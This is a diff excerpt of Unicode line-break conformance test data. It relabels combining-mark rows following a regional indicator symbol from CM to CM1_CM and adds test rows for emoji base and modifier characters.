-× 1F1E6 × 0308 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1F1E6 × 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 1F1E6 × 0020 ÷ 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1F1E6 × 0308 × 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F1E6 × 0308 × 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 002D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 1F1E6 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 1F1E6 × 0020 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 231A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 1F1E6 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 1F1E6 × 0020 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 1F1E6 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [13.02] COMMA (IS) ÷ [0.3]
× 1F1E6 × 0020 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 1F1E6 × 0308 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 1F1E6 × 0308 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 002C ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 1F1E6 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1F1E6 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1F1E6 × 0020 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1F1E6 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1F1E6 × 0020 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1F1E6 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1F1E6 × 0020 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1F1E6 × 0308 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F1E6 × 0308 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 000A ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1F1E6 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1F1E6 × 0020 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1F1E6 × 0308 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F1E6 × 0308 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 0085 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1F1E6 × 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1F1E6 × 0020 ÷ 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1F1E6 × 0308 × 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F1E6 × 0308 × 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1F1E6 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 1F1E6 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1F1E6 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 1F1E6 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1F1E6 × 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 1F1E6 × 0308 × 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 1F1E6 × 0308 × 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 1F1E6 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [0.3]
× 1F1E6 × 0020 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 0020 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 1F1E6 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1F1E6 × 0020 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 1F1E6 × 0308 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 1F1E6 × 0308 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 002F ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1F1E6 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1F1E6 × 0020 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1F1E6 × 0308 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F1E6 × 0308 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 2060 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1F1E6 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1F1E6 × 0020 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1F1E6 × 0308 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F1E6 × 0308 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 200B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1F1E6 × 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 1F1E6 × 0020 ÷ 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1F1E6 × 0308 × 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [30.11] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F1E6 × 0308 × 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.11] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F1E6 ÷ 261D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F1E6 × 0020 ÷ 261D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 261D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 261D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F1E6 ÷ 1F3FB ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
